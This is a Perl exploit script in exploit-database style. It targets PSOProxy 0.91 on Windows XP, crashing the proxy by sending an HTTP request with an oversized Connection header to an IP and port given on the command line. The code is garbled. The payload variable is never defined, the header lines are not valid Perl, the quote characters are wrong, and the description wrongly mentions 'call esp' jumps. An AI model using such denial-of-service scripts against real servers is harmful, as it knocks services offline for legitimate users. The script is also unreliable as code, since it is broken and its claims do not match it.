#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: PSOProxy 0.91 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 28 january 2024

Vendor Homepage: https://sourceforge.net/projects/psoproxy/files/latest/download

Download to demo: https://drive.google.com/file/d/1O8Q2d0muet6XuOhqwXuvT3qfzgGNk6vs/view?usp=sharing

Notification vendor: No reported

Tested Version: PSOProxy 0.91

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=ALe3uFS4cUA

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

print "\t ==> Connecting to webserver… \n\n";
sleep(1);

my $i=0;
print "\t ==> Exploiting… \n\n";

$socket = IO::Socket::INET->new
(PeerAddr => $ip,
PeerPort => $port,
Proto => “tcp”)
{
$header =
"GET / HTTP/1.1\r\n".
"Host: “.$ip.” \r\n".
"Connection:".$exploit."\r\n";

    print $socket $header."\r\n";  
    sleep(1);  
    close($socket);  

}

else
{
print "[-] Connection to $target failed!\n";
exit;
}

print "\t ==> Done! Exploited!";
sub intro {
print q {

                          ,--,  
                   _ ___/ /\|  
               ,;'( )__, )  ~  
              //  //   '--;   
              '   \     | ^  
                   ^    ^

  [+] PSOProxy 0.91 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "\n\tUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}

#3. Solution/ How to fix:

This version product is deprecated